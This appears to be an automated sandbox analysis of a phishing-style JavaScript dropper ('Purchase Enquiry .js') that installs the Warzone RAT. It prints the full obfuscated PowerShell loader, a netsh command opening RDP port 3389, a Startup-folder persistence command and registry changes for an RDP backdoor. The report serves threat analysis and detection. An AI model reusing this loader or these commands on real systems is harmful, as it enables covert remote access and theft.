Analysis
-
max time kernel
167s -
max time network
191s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
30-11-2022 04:11
Static task
static1
Behavioral task
behavioral1
Sample
Purchase Enquiry .js
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
Purchase Enquiry .js
Resource
win10v2004-20221111-en
General
-
Target
Purchase Enquiry .js
-
Size
1KB
-
MD5
840422981206fe204ad674b563497eee
-
SHA1
fbadcc5fa1e489d965591d769da3bf7039fc5b7f
-
SHA256
76522e1121f296222f3a9c9913638e5e6e9ab4be9206fc86ed32c1827b44b689
-
SHA512
8cc95a62d66b7afcb8f402b4603773a3d3b877cdbf0c07492f75cc3b5bfc6e5cb91aa0997509b0e939a187ad8037d766ba23a4c3758da94a31940a4fc348d9ee
Malware Config
Signatures
-
WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
-
Warzone RAT payload 5 IoCs
Processes:
resource yara_rule behavioral2/memory/2312-141-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral2/memory/2312-142-0x000000000040B556-mapping.dmp warzonerat behavioral2/memory/2312-146-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral2/memory/2312-147-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral2/memory/2312-149-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 49 2472 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
9.exepid process 2068 9.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Sets DLL path for service in the registry 2 TTPs 1 IoCs
Processes:
InstallUtil.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\Microsoft DN1\\sqlmap.dll" InstallUtil.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\9.exe upx C:\Users\Admin\AppData\Local\Temp\9.exe upx behavioral2/memory/2068-155-0x0000000000200000-0x000000000022D000-memory.dmp upx -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation wscript.exe -
Loads dropped DLL 2 IoCs
Processes:
powershell.exepid process 2472 powershell.exe 2472 powershell.exe -
Drops file in System32 directory 1 IoCs
Processes:
InstallUtil.exedescription ioc process File created C:\Windows\System32\rfxvmt.dll InstallUtil.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2472 set thread context of 2312 2472 powershell.exe InstallUtil.exe -
Drops file in Program Files directory 2 IoCs
Processes:
InstallUtil.exedescription ioc process File created C:\Program Files\Microsoft DN1\rdpwrap.ini InstallUtil.exe File created C:\Program Files\Microsoft DN1\sqlmap.dll InstallUtil.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1012 2068 WerFault.exe 9.exe -
Processes:
IEXPLORE.EXEiexplore.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000eef4ddb70fa9964f8bf69d510f57c1eb000000000200000000001066000000010000200000002f5f2c7b00131a8a0db2887a265831ab82f4551780770fa5960b9fcbd1b3804f000000000e8000000002000020000000465dd556a7f96bdec10157071069c1eff9898c8d73c2ad8fcb70834611e131c120000000c2699cd69a8583967f8476c3c0db4a916d78e943d3066d757e3de22f4f00caca40000000718f97cd8e9601a579f774e8b3131dcad67bf428fa5307cac29c847e37f837217fb28b5b1b7d554412aa1f606228f8769072b73afbda339bcf09e9abc21db7a1 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e0e3ba687a04d901 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376550126" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{83038490-706D-11ED-BF5F-6683CF8C50C7} = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00b04d627a04d901 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000eef4ddb70fa9964f8bf69d510f57c1eb0000000002000000000010660000000100002000000097427d438446b5352633f5171bb43813d866d211257cb3132a593d14ca530300000000000e80000000020000200000001ddaf844f8759aac71bf57ca955bf17f015190fe30bc2531a94d5148db39540f20000000081e430cc99f9dd0080ae14d7aebafa0b2df2441308adad8e38b53506d1c3f7c400000005851b4dfdeabae08f10ad338483596ea72470c529ef6c644807713af1ee60cf4865f87df56ccc64c761a19e0b8a99bf78bf33b3dc4b373591ffe7a12b0b9c33b iexplore.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exepid process 2472 powershell.exe 2472 powershell.exe 3136 powershell.exe 3136 powershell.exe 2472 powershell.exe 2472 powershell.exe 2472 powershell.exe 2472 powershell.exe -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
powershell.exepid process 3136 powershell.exe -
Suspicious use of AdjustPrivilegeToken 45 IoCs
Processes:
powershell.exepowershell.exeInstallUtil.exedescription pid process Token: SeDebugPrivilege 2472 powershell.exe Token: SeDebugPrivilege 3136 powershell.exe Token: SeIncreaseQuotaPrivilege 2472 powershell.exe Token: SeSecurityPrivilege 2472 powershell.exe Token: SeTakeOwnershipPrivilege 2472 powershell.exe Token: SeLoadDriverPrivilege 2472 powershell.exe Token: SeSystemProfilePrivilege 2472 powershell.exe Token: SeSystemtimePrivilege 2472 powershell.exe Token: SeProfSingleProcessPrivilege 2472 powershell.exe Token: SeIncBasePriorityPrivilege 2472 powershell.exe Token: SeCreatePagefilePrivilege 2472 powershell.exe Token: SeBackupPrivilege 2472 powershell.exe Token: SeRestorePrivilege 2472 powershell.exe Token: SeShutdownPrivilege 2472 powershell.exe Token: SeDebugPrivilege 2472 powershell.exe Token: SeSystemEnvironmentPrivilege 2472 powershell.exe Token: SeRemoteShutdownPrivilege 2472 powershell.exe Token: SeUndockPrivilege 2472 powershell.exe Token: SeManageVolumePrivilege 2472 powershell.exe Token: 33 2472 powershell.exe Token: 34 2472 powershell.exe Token: 35 2472 powershell.exe Token: 36 2472 powershell.exe Token: SeIncreaseQuotaPrivilege 2472 powershell.exe Token: SeSecurityPrivilege 2472 powershell.exe Token: SeTakeOwnershipPrivilege 2472 powershell.exe Token: SeLoadDriverPrivilege 2472 powershell.exe Token: SeSystemProfilePrivilege 2472 powershell.exe Token: SeSystemtimePrivilege 2472 powershell.exe Token: SeProfSingleProcessPrivilege 2472 powershell.exe Token: SeIncBasePriorityPrivilege 2472 powershell.exe Token: SeCreatePagefilePrivilege 2472 powershell.exe Token: SeBackupPrivilege 2472 powershell.exe Token: SeRestorePrivilege 2472 powershell.exe Token: SeShutdownPrivilege 2472 powershell.exe Token: SeDebugPrivilege 2472 powershell.exe Token: SeSystemEnvironmentPrivilege 2472 powershell.exe Token: SeRemoteShutdownPrivilege 2472 powershell.exe Token: SeUndockPrivilege 2472 powershell.exe Token: SeManageVolumePrivilege 2472 powershell.exe Token: 33 2472 powershell.exe Token: 34 2472 powershell.exe Token: 35 2472 powershell.exe Token: 36 2472 powershell.exe Token: SeDebugPrivilege 2312 InstallUtil.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
iexplore.exepid process 3272 iexplore.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
iexplore.exeIEXPLORE.EXEInstallUtil.exepid process 3272 iexplore.exe 3272 iexplore.exe 1180 IEXPLORE.EXE 1180 IEXPLORE.EXE 2312 InstallUtil.exe -
Suspicious use of WriteProcessMemory 30 IoCs
Processes:
iexplore.exewscript.exepowershell.exeInstallUtil.exe9.exedescription pid process target process PID 3272 wrote to memory of 1180 3272 iexplore.exe IEXPLORE.EXE PID 3272 wrote to memory of 1180 3272 iexplore.exe IEXPLORE.EXE PID 3272 wrote to memory of 1180 3272 iexplore.exe IEXPLORE.EXE PID 2964 wrote to memory of 2472 2964 wscript.exe powershell.exe PID 2964 wrote to memory of 2472 2964 wscript.exe powershell.exe PID 2964 wrote to memory of 3136 2964 wscript.exe powershell.exe PID 2964 wrote to memory of 3136 2964 wscript.exe powershell.exe PID 2472 wrote to memory of 1560 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 1560 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 1560 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2380 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2380 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2380 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2472 wrote to memory of 2312 2472 powershell.exe InstallUtil.exe PID 2312 wrote to memory of 2068 2312 InstallUtil.exe 9.exe PID 2312 wrote to memory of 2068 2312 InstallUtil.exe 9.exe PID 2312 wrote to memory of 2068 2312 InstallUtil.exe 9.exe PID 2068 wrote to memory of 3820 2068 9.exe netsh.exe PID 2068 wrote to memory of 3820 2068 9.exe netsh.exe PID 2068 wrote to memory of 3820 2068 9.exe netsh.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Purchase Enquiry .js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function ermkflll { $o00=[char]105 + 'EX';sal P $o00 $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,51151555,51115551,51151115,51115111,51151555,51155551,55151115,51111555,51111551,51111515,55151111,51115511,51155551,55151111,51115511,51155551,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) } (('[syst' + 'em.Str' + 'ing]::Join('''', $gf)')|P)|P } ermkflll2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
- Sets DLL path for service in the registry
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\9.exe"C:\Users\Admin\AppData\Local\Temp\9.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="3389" dir=in action=allow protocol=TCP localport=33895⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2068 -s 3965⤵
- Program crash
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\Purchase Enquiry .js' 'C:\Users\Admin\\AppData\\Roaming\\Microsoft\\Windows\Start Menu\Programs\Startup\'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Internet Explorer\ielowutil.exe"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding1⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3272 CREDAT:17410 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2068 -ip 20681⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5454f9e7fa8aad19d6bac74d19b3086b2
SHA1fd31e6cf15a019921faf239343ace0da3cfb06c2
SHA2560f3226ebe6776806997c74f28e76ad5eb235909b8645d43d3564d823fc7834f2
SHA512763af517762363994c0da1bbeef555ce4d8e7928b8dc9ece3aa90a24a232490f990c1948687957c55df2b010cc95c08267e4c5df48645739c70416c60a54840e
-
C:\Users\Admin\AppData\Local\Temp\11d5600c-2bda-4d22-b1dc-d8a970181a72\AgileDotNetRT64.dllFilesize
75KB
MD542b2c266e49a3acd346b91e3b0e638c0
SHA12bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA256adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
SHA512770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
-
C:\Users\Admin\AppData\Local\Temp\784b3b15-2b8e-42df-b11e-ec70bb6ec5f0\AgileDotNetRT64.dllFilesize
75KB
MD542b2c266e49a3acd346b91e3b0e638c0
SHA12bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA256adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
SHA512770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
-
C:\Users\Admin\AppData\Local\Temp\9.exeFilesize
70KB
MD5ca96229390a0e6a53e8f2125f2c01114
SHA1a54b1081cf58724f8cb292b4d165dfee2fb1c9f6
SHA2560df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c
SHA512e93445bce6c8b6f51890309577a0ea9369860d2e6bf8cc0ca708879a77bb176d27c5f559bbdb7deb4b719aee0fc48d9068c293559f7629baf4ec3515898102ef
-
C:\Users\Admin\AppData\Local\Temp\9.exeFilesize
70KB
MD5ca96229390a0e6a53e8f2125f2c01114
SHA1a54b1081cf58724f8cb292b4d165dfee2fb1c9f6
SHA2560df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c
SHA512e93445bce6c8b6f51890309577a0ea9369860d2e6bf8cc0ca708879a77bb176d27c5f559bbdb7deb4b719aee0fc48d9068c293559f7629baf4ec3515898102ef
-
memory/2068-151-0x0000000000000000-mapping.dmp
-
memory/2068-155-0x0000000000200000-0x000000000022D000-memory.dmpFilesize
180KB
-
memory/2312-150-0x000000000B470000-0x000000000B610000-memory.dmpFilesize
1.6MB
-
memory/2312-149-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/2312-147-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/2312-141-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/2312-142-0x000000000040B556-mapping.dmp
-
memory/2312-146-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/2472-137-0x00007FF9D2C60000-0x00007FF9D3721000-memory.dmpFilesize
10.8MB
-
memory/2472-148-0x00007FF9D2C60000-0x00007FF9D3721000-memory.dmpFilesize
10.8MB
-
memory/2472-139-0x00007FF9CBA60000-0x00007FF9CBBAE000-memory.dmpFilesize
1.3MB
-
memory/2472-132-0x0000000000000000-mapping.dmp
-
memory/2472-135-0x00007FF9D2C60000-0x00007FF9D3721000-memory.dmpFilesize
10.8MB
-
memory/2472-133-0x0000019CCAC60000-0x0000019CCAC82000-memory.dmpFilesize
136KB
-
memory/3136-136-0x00007FF9D2C60000-0x00007FF9D3721000-memory.dmpFilesize
10.8MB
-
memory/3136-134-0x0000000000000000-mapping.dmp
-
memory/3820-154-0x0000000000000000-mapping.dmp